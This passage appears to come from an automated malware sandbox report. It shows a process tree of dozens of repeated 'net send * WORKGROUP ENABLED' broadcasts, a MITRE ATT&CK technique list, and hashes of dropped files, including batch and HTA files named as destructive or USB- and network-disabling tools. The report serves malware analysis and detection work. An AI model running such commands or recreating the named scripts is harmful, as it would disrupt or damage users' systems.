    PID:3680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5096
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4160
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5056
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3496
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4152
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4944
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3064
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3156
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1440
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1560
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3192
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3284
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1532
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4740
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1412
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1212
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3836
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3232
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1560
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2488
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3496
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1304
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
880b0aee51bd512ed72d8a3f97cbab1d

SHA1
dbab5234b944267073f96dd38645464b5a0a872a

SHA256
b2e03985305a0c273f0b0d311c7e01ebc3c02e0d246edb1eacf5956b18b04c67

SHA512
603026d933ea949d1144b3ae305cc14588d2e46fc1f0af7c5e1dea8723e0e2b9ef90cc48d681220f585dc96a3b117bf57a6b8d37f12dc589ce841c8679110e45

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
468a59cef6ff18359fbec4ca0703061c

SHA1
a254ebfb6efc330d50f7122502d491a7187767ac

SHA256
61503fa9d21b4d36879dae302b3e50db85eb8ff94fb9e8f156d0c92a9b160851

SHA512
eb6391fbf099252377ddc83c25f83d6b708e1b4f7039d3003017686ffce1790bcbf971e63a377589a8d680587e1a760559d48452051259ace31e25927fe9a1c7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
05d1a008c1b5cd80ca70eba5f9ebe27f

SHA1
ef981d60af2f72aeb2016457bdea7f2e68427553

SHA256
474c2c75e1d2d7abf2574faf57fe2684ea6ff51c996d1666885832be626a515c

SHA512
4e07de0ea445df1a4220c77d0519ab380d2c230ac6053fd9e0999a53a6edc57d53a125eda81a550351e45de6e7c583c261ec49ae061cc2eb8e61882fdb8249a7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
27025e1715efe631088671afbb599495

SHA1
47d74d4b08b9c8561a53c870dc6893f7ce391921

SHA256
813ea66d598fef1cf6668fc0f515cb3d41cb380206eb4d200c3bd5a5af77780d

SHA512
43be558caadf12f9d757d7b6799950d76fb044794fbe8c35536a2fabd329ce48c10b24b64670a7396384b63bfacc74340ff0896b25fac98c43da889d0f0aeb15

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
67b6dd19d204c2c5f3bb5d892d2da551

SHA1
ed5f27e8823df88bf5f52cfbe559ebe263feb4b8

SHA256
27dc0b0e2fde5e305af2e598727073d01ae722f6f8ac8a4efd1116b5e3e1abc1

SHA512
3e06906ffa5be424a7db2cf3512ed75e366e7d70447ce4ed33f471a47d0df4a6a54dd19a0395575217eed7a07efb4ed030e55ca3086b82a8cee4929e730acd71

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
af988ac26525a7ccc5b08d43e3f00ae9

SHA1
4a2e0c53b5d445935e449da7ed777b6b6660b13a

SHA256
90b2de0e6a8851db1e631a15ac7d6fbf73047acf7fcf3803cdc0d01c9cb848db

SHA512
63f39e7ca5a94b478005d147587db4d65ff109708c9500b7a987c345e494d3e57a1e5a6e190fa50df1cfa44adfb79b2fe6746261c7c019fd9e944143bc30be03

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
764a4658b73eaf87c41d18e3086d481f

SHA1
8d726fccfc95edcb25a01d3649c567d67fc850e4

SHA256
70c5fe035b75f2fc21726c414b4009181bc8959431ebfce348b4d67ef8b845ab

SHA512
fe7e0b2c60bdff4b5971c17eb4aa53792b589e964af9b46c4a297930c4d1eb9de9c49ea65789afd3fea6f751721ae9bf4777a88e338c5a80b3b1afe051d8fdc3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
2c0664a02bbed1e905ccafc590b3af21

SHA1
cccf499ad05ee884f2342bc6c2c327927acb73bf

SHA256
70f6d2668a7aec1a6eeba0884b04b4e88ac36d5f841424dde4c34fe4302e3d2d

SHA512
9acdacc7888c925d34dc9f0077a7933b4b6b31b1926f10d46a7b320875d9b470b16f83b19b677704bdc7b585aaa17d23f5841c6842287f84ac18dea5a4a1b07c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
a2b0dbf3c7a0f1a8e65ab45e3a31c97e

SHA1
4b85977ace58437541d3ce6be9950a29bcfb3657

SHA256
4041efc2acd1ea6a48a5b887cebe8713451972ed6a6ea6a5ac8e3069ba4f5d5d

SHA512
72475a7b8bc84c91f7cbe4874bcdcd8d66c35c4048cea50850fee4411a446a05cb0616f5cfc36ad0a49d096ba4cd2f0e872ea039319d492e4707e1a00f760714

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
277d7f4f03b3d3f15eccd04561dcdbd4

SHA1
2c3b545052032bcea17b65d8de1d6994682c552e

SHA256
26c777433f55656de155efe1715ac6d3612fe48dafe7f396a7852ee9ebee378b

SHA512
c944bab8002e9b844c7e9185aebff77ae19efe4e7a846650870e604467bd88eecb9a7d6146adc378c20468989fad31081fdc5c6fdf7f47e1bae440e0ed0cd9f4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
afe83a77c5aa4a14b253256fc4b86485

SHA1
b09bf36520598e72b3cd781bf7bf549ce59a879c

SHA256
c915ce1d8b0cb898d269a7b5f6307bf5668930f393d500d199658948c87869d8

SHA512
faf15caa65997a4be9f2d37ccb49801ad14ad58af43137963e7f2b393eb8f99ce0309207fcbd2aadef0c6678a4fb260bfee386a5604dbaf89a4a17e94aa252f9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
5623b714d87cdd58241ceb68dd7ac29e

SHA1
9b45f5bd4f66a4412f9fad4744539e66a5e07438

SHA256
dfd9c9c80d70ae7e50d34b5edca1db03e7709a8a697e38d75d01cd71fb1982c3

SHA512
069821d36f64d86d211ec51a1d13a6ddf9747e441847dea57f1866f7d6f904734fdad0195231c5ce949a296c95cd8ba5db4ff56d9c861c4fdf45097cfe73f108

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
bf6ff55d93fbe1030f0a632cc396cd5e

SHA1
3170316f0b73e46729819755d980267c431a45b6

SHA256
80aefa21191c7f9becf28f7cf55347a2ea83e98b79ce14537a2c2838359933e4

SHA512
b0862a43dfc16ee4b87595b08f213714fcd6218fcfb1afd58ad48ee330e1edb1843c430d88a25f60f4649ca88488e47fe7fe34b11b5faa647238fd4955e11439

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
efc4a971d9f0dd7fe488f40e270f2c0c

SHA1
f00cddb70a048729770797a52fb06373b55edbbb

SHA256
ab0158367bbb0cde55d89943a4644ef1bca37983b9db2b1e0446b9dcb0a3581e

SHA512
1b6de3debe4c285e34b9a6993780a024b8fced93916041dc0c1fb93417fac2efbe5702b05bf8dbe81c8a7728f24ea63b03146884b8872c2309e7699f987b6876

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
f99ddfff68de3eb1bedd1728c93a623c

SHA1
ee7b789fec233fb4881f060a53c6bba32ed8e482

SHA256
114a09923d08dc567b48523592f7d2240d64c395d0b54cb733a2391de72c4515

SHA512
5c650a661b62d76515b6f26b73a7631dadf7d77a47498f06cd4b8826b71ed2dae3b10be9d9d8b6674a96757a02595ac02ab4340b3faadd5a44281565ab5a79c2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
93fb8ab8116b08db77af0e2e34116cc1

SHA1
059fe343a0d63a540fa5360e6a0558e927967c2b

SHA256
737d2de45577e09b7ca8cbf78cb599bac6a1cf2db078bbd642d2948f92f7e0e6

SHA512
4730c02985e14dcd3a1454425d4a814f5ea6b4d13a9df48ef9afcdce31f50b6c6b9680eea8affdeecf5b97018ad32bdd68a44488760550429256ac4989b644cc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
c5bcef0ea4b458363bda3d044074d338

SHA1
99439be2f24df3cbdd70f5f8e2b208b342cf7ba8

SHA256
11d9e2efd5fbd26b45edd0a4dd54fc1aee32ef7381f5afdc2394efc93ce48434

SHA512
5f1add7da5ae2ef9c1cfeb1f7ae699e522f86bbd549ae0ed41c1d03077e1f675899125d7cc537e80658b9f799fa6a58bce1752fc75c45a387f39c8e4dbb4d978

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
99aaacaaad3900fb27653dc0a664a093

SHA1
926e7fcef2f88b0d8f78783cc99fa7b6069d75d4

SHA256
4a89458efb89959a78502f4808bec96e5851efd724e78afd80658dca48433ee0

SHA512
7c5fe01eed6110a172f37527ab558d927a7f144a044451700a8106d8a910cc5ff9357ccec74e88914ad8f09fa7fd46c0d1ff165a9c202daba8bfdfde42c91d1d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
7de2ad42378b7d7c04694e44f692ee6b

SHA1
12bf8ca6effe19081ded510f0ff09971109a4845

SHA256
e3e5415336d282476e49071550c1bc374f732f702c5dfed379983f66d6287806

SHA512
ff239137895d631ec5b6654318c8692575242fe8a8e90d8fe456943ad8d31cc32d87bd47a267485095e4b0634e061ac6765e6b5ea81587aa495c97a3d303a150

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
a9889377daf68b036debcf1cb3e8e34d

SHA1
608a8b04d65a869e320d89d1885e9d719a73d20a

SHA256
0fad912b7e3777137084039f5151d011142ef7df7b898ce7cd1efcb205d742bd

SHA512
f00e1bb07ff43dd429aff656e679e1481ec48ce31ed92f26ab888244484dbe7b02fafdd7c68a16509b7470b0be5cef2c95ed0e9d3438f4aa3c2ae57a11d843da

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
7b0d32255a7c82371b7a82db3fd23dc8

SHA1
054c0d451b22e633c5fa1b63a85137fd60ada131

SHA256
0bc32a1e40c48d5655eb313dec30267f3f92e78e486a5cbb0d3f2f940e1f667b

SHA512
5d6bc67cba751d2b7d5edeb7f7b332740d757c844ac87d2e9080e375fba4d3d4a511f0e9c1a3ab3d3b95dc7d8df551d6e979f4e9c57ef53290e8fdb49a6e152b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
cdd0fc8fc2c8e22e169b4235bb53ab3c

SHA1
d2afa7ccea4fc1819ee002882e004fd3724cf53b

SHA256
cdf0f5ab185de864a155ce810e6f0e5ae98f9e06cf416fa4a9b42a89d4b9459a

SHA512
f18474f550185d72eef5d6d9b225fbf666d5b71bbea37469d9ff35a987547f0fb0a9dce7d7e8a6b9ab3e64ea0f326d32a39e80adbe0a2156a756f5a4af9fdadc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
cd8d88da13e7d322ba805f2aeae1eed5

SHA1
453a751edc6f5481608d4cfd50633b6f3cf46333

SHA256
3cb650ce00db9505fec6df1b5f44da85c59f88915b138ba895b4b2d1da6d8977

SHA512
9d1ea0d782948c8550c17f8c16051897bb19aabc1c6a80dc96b9cf78acc4b4aa71ff8d32a25210bca7e40a0bc41bc6aada62032601b7e9215426d8e146500a38

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
89e7a780312927736c47e61c5a677ecb

SHA1
a24faf165b82f950e95248304d1053b7b61144bb

SHA256
9e02a9e1b77d576bf842868fb75f032cdac5bd94b354f86bfcc1b7c5bdc135ee

SHA512
12d9f07657cb757ad5585acf8f0ae1d7f3b120fec9f0af7e68a6f4351c2c2463f7936126f839247684fb6f8e710641a3f3c6631ef63645302924043386b24efe

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
c5ca52c289771c494d452474c43e2db1

SHA1
7d33a02aaae5a0b45169ea1217448f448fee5b23

SHA256
32aaff3e2332385ed43b001d8b8c8448566a518315237008043a84c0b5b520fa

SHA512
1f7995679db7eba21d383745b0fbb56c6f549c252ea49154b99df22e35f2c3c526bfa4f851c55ac3d3c530d59eba5f19d49b01106da3d1ddb26be0bfbfb28a89

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
becc137798eb161239ac931dea0ccc57

SHA1
410d552abdb80d1d7af177bc4c770d6fb3c65fe1

SHA256
4e07f677d2dc22d6885f259807f034c6d0238642ebcfdd07313967202d2cb83c

SHA512
49507ed566f4f6690a453526fc1385e40ae83a6d5c551f2836a2f3e6fd95003f3ff69c2784a37bad9c8b4987f202eee4c39590c0d50b13cb1f7323708a01dd6e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
0415cce192412a17b4bedf307ec177c1

SHA1
892f3f2b8a762a7df693da87ee9986f81d7d393b

SHA256
114fe5105a59c05fd6b130b30aa89d7369f67b9e4e666d7372a892a898da94da

SHA512
eafd045a9a20849b0e97f282cdf556021edfc37aa02c6bc5401918246414bc002cd00a7670558bd2ef620553d1411a180979a54c0a28e0351ab2dab8eed37d21

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
18fa2b3e40aea47cb07f21b0822eb5d5

SHA1
ce35fc8eac337670f4d68db6f86dd0f324ea72ab

SHA256
16211e3e26ef31aee7911ce0294ecbaacc462a938e0adea1f38c20f22668bdc6

SHA512
0a05eec30fb1b86340b2a3f7a48fa7423235dd31f7621836b23fb887d2ac1be315f2c488843dd063f1e1e7a8d4c9dd32e9516886a55e8edf783fdf155c9be417

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
6550c132c935d5bc7881f6bc3d77f301

SHA1
5a51244121d5666f5f038207bcf209164d349691

SHA256
e6bebf4d49ccaea6a2286c542da4b486c1b53c743a94a2e411676c8045a2d6e0

SHA512
97d65aa72114b61186e6fb95b2db8fd73ebb1c0c744116a6fc80132cbadc5064695bb294d389803eba6fc97cc0906862f97eb5b67408161c3198024d5b287185

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
b9a3a618fca8c199022ab42260002656

SHA1
b9eff4392bec90e10f63780446c72483ccdf7b58

SHA256
5e1b5798550ba2e03e4f17909012e50fd3513d8b53ea63d1344ef04d8c46957e

SHA512
8ab4ea380a3b99d5d44729828546220f9329ea3cbe10af75e8ccb074e827cb79d7517ba0e8dce5b6ae367c24101210739fe0aa07dcac712346c740d8306efec3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
baf8d2124683cdb0d2991a544faa9720

SHA1
f7607210453d995b10d3a551de18c3189eabcf10

SHA256
1df08330469845e91b166623f5ad4f5257b9b1ab397abb380a71aa7a491543bc

SHA512
e6d9ab189648a3dabff82fed003699628c0f26d64ccbe91fe984928e71ef291183ec6017be1e9a3e4bcb5fe940be489c7704c52e3e275931e8351ed4402c1538

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
f6268fbaa5d1d6ba273ec9982d298a9e

SHA1
e8ce42979ee66c5ec1da1be7610f7156416bfdbb

SHA256
aee1e8f2274d2b7ca0e5dac46b458ee9b4ef9b99c1eb5f625a0076423a42219a

SHA512
03c770648dc926fc127ce64ca1a1ea9980eb3f36cf8f93e89b302057b21d0e3af2ab0f4806c3e266c2eef7728f68c927a84a9747aceb049efaddacb4252fc7d6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
d17c5b2b4a78a62dc51ad334c4665a13

SHA1
dfd9b33a73a5180d797280faa6aec5c04905ae04

SHA256
47a166644069641aa416944b7dd64b18162a7cc4c9d6088306a51b768779762f

SHA512
dce3211a5ea9ce7bc2246ea5d4388ab6f59ba6d47ddb3a2a5280f1c345820ec84b336836065d5a90df140b7d1e7f742ea96404da1b73e0be6f84837c36879674

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
99KB

MD5
e714f3b106b8d10584afa4137c120d10

SHA1
ce8851653e52916953b25cba412f63a354ee6d8c

SHA256
751c65fd438ab46b5283741392671f66f16c8de6a5e5ab8eaf46adef2a62ee44

SHA512
a08120d242b47426160f2cc5568457abe276857b3d77ed61f436b718a13f89f887e7794ac7651dc66d33ba77dc7aa83c8277ea42ddf50e70d581f8574755c250

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
99KB

MD5
af4ec1dd19d20342242cb3587124e26b

SHA1
8c0e6366e79f5009842d65eb6c540dd7ead8e15c

SHA256
13138329a1af744e5ba70fa678b5f8cd45353842ad72735ed95792b26f8d04e1

SHA512
6b3d1e12e8b928a0ebaf235089c548b7544eda34a7dbe057f7f9e44091503c0a66501ab4723b5deb5c0b5f335f8b20dcb94a43965ba38ff17b53e9f8a8c7a0dd

Download Submit
C:\Users\Admin\Downloads\Blue Screen Fake.bat

Filesize
2KB

MD5
a4221d1e8326a926e4394f2d7dc9bc2c

SHA1
1bcb944cd7f7c3049de90f1162977cae9aea63b3

SHA256
ad28f4f186e65ac9ddbd0f008a5306b92eed5a60c2100832732afc99c1cb7d38

SHA512
ccb25a5c91d9e04163147d1710934daa601c082266627ee9d314ad05aff143fb8dd9581facdee8189ba9717a8aa0551a7cf4a3d18562a6f44badc5132ec09df3

Download Submit
C:\Users\Admin\Downloads\Disablenet.bat

Filesize
429B

MD5
ec0c4ef7017b52b86c9832478dd2c486

SHA1
c824e1f52b7d146ef64af153295c6b44e144c13b

SHA256
5efa8212fb8a1d7fcc988c9f0b5c82e4632da50e4fa7b74009a264b7e29f345e

SHA512
32ed8093252afe16c04f15f7f06812f12eb51f9db3d67f6d11bdc5def071cd1832f40623277444db33e1a01236cc7c63b7338d3f942bf4a671cbf9e236bd4adc

Download Submit
C:\Users\Admin\Downloads\Kill USB.bat

Filesize
332B

MD5
856023118178d6140d98ccd3250cadc4

SHA1
b696e89388b1bf0a5f8dd747150131a21ec21a63

SHA256
11c1ef3b37d65c1bf76731473a6ee003c12d8d2e1d652f954213314766812232

SHA512
e0c447c057260f9e0f24ac0dc77782c013a6962e7fd868f4aaf77a4d70ff6073c2a7c6177fa23b0c2e1e1fcde565d37ac690f75a95776afb7dee66b67dcc1df9

Download Submit
C:\Users\Admin\Downloads\Kill USB.bat

Filesize
310B

MD5
db4bea51230dba6af512d668d9a858e8

SHA1
7a2e50e702f010c3482d6b9ed5efe51af9557373

SHA256
8ff995abe5f0fdf813504cff6f8d2c15857f2ae8f0479ba101f17560665e6c80

SHA512
019e8ccda976bb7c52c6603dc4402e7b255495349f8c5cf45bb3b0143bbc1302c0b887a04d1bdbe7b0001f7b81b335e74ef24b036175726d1f1a2fc8cbe96c81

Download Submit
C:\Users\Admin\Downloads\PC Optimizer Destructive Virus.bat

Filesize
1KB

MD5
a75c7d0f2823b1163e777a293e2e4927

SHA1
123e54c07d354b4dd5c8b0d76a22eafba4488dd7

SHA256
4236015df59f2913de6834123bb90bcde427cbc12a91742e8614c22db3220201

SHA512
807214fc3ce6a42badf9b556a24c6d1cb86e71b114afbadc59a4d99a1e1c5cebd0691742c8cb2a0072beb4f5e4e5555f14d87ba22c51430aaa77a0878ca7efc5

Download Submit
C:\Users\Admin\Downloads\bsod.hta

Filesize
209B

MD5
3ce8db6b32352aab4dbdfae169e1655d

SHA1
651ca9289bfbad16233013b4f0ebc88d4b3a50bf

SHA256
7ce7daf3ba6763dd2aa06382714a1650dd9340e6c8ff984f715df2ac7d8a3d3e

SHA512
9f8920f3746a2aa1266d0a49c0aae7bf6a9da27bd3bf7b599e87049b9b9ea3bae0b54171bf5b725168eb0bfb0347b4dabab41f67216a3be202d56cca52545d00

Download Submit
C:\Users\Admin\Downloads\bsod.hta

Filesize
1KB

MD5
070224c778c00193e80b73ae480fa735

SHA1
49951c28a0bf960f07b5dcfcd1e640198ccb35d4

SHA256
b572817a166923144883edfc160caf515fa9daccd1727b6366efc4957bb34736

SHA512
643c75b8ecfc5f0965423e8765ebdb16bcb2cac2f800a2fa19009c12595830e01af4fbe32bd1d3e3072b4836c5a185a9a4961bd2da3ac41e2b96eb061f0d1008

Download Submit
C:\Users\Admin\Downloads\system_meltdown.bat

Filesize
1KB

MD5
13570c4f141ef4a1b281f077c1db4930

SHA1
f4861eb12cc48e789f3c40ff610644e2fd83e403

SHA256
f37d181a579e1e2cb94bdb8c641e1e1b5bd6505b480ae0e5e07a729e69e30ff4

SHA512
e0d1763bd813c7329dc47737f95f61407327bc62f7cd96fe5aa49c42adff1953681ea61df0fe30ac9e3b4cc8642dc40de572f2af24cfae2e116463170c1d6f55

Download Submit
C:\Users\Admin\Downloads\windowswimn32.bat

Filesize
49B

MD5
cfb046d3c9513b92c1b287da26f97c28

SHA1
ea8208c4dad826b7fdb3b5b728863a95e86d4383

SHA256
a06f170d4f92bf290e38b0ce1c05bb59c95de2797b1a5253b949ad7e1be9818b

SHA512
dbeeea4d284f59e1455a5426334caa02458e88833aeece9817c51be616697ca4c399b2a9d0e8e44bf4a5ee63d0b37c0aed68c01f1748fa5a23ed6d2af62b3340

Download Submit